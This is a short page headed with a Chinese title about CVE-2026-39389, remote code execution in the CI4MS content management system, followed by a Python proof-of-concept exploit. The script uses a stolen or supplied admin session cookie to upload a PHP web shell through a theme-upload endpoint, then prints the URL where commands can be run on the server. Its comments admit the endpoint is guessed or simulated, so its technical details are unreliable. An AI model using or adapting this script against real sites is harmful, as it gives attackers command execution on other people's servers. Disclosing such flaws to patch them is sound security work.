CVE-2026-39389 CI4MS远程代码执行漏洞

import requests # Exploit Title: CI4MS < 0.31.4.0 Remote Code Execution (PoC) # Date: 2026-04-08 # Exploit Author: Security Analyst # Vendor Homepage: https://github.com/ci4-cms-erp/ci4ms # Version: < 0.31.4.0 # Usage: python3 poc.py <target_url> <admin_session_cookie> import sys def exploit(url, cookie): headers = { "Cookie": f"ci_session={cookie}", "User-Agent": "Mozilla/5.0 (PoC Analyst)" } # Simulating malicious file upload or command injection payload # Adjust endpoint based on actual vulnerable parameter payload = { "theme_file": ("evil.php", "<?php system($_GET['cmd']); ?>", "application/octet-stream"), "action": "upload_theme" } print(f"[*] Sending payload to {url}...") response = requests.post(f"{url}/admin/theme/upload", headers=headers, files=payload) if response.status_code == 200 and "success" in response.text: print("[+] Payload uploaded successfully!") print(f"[+] Check shell at: {url}/uploads/themes/evil.php?cmd=whoami") else: print("[-] Exploit failed or target not vulnerable.") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <url> <cookie>") sys.exit(1) exploit(sys.argv[1], sys.argv[2])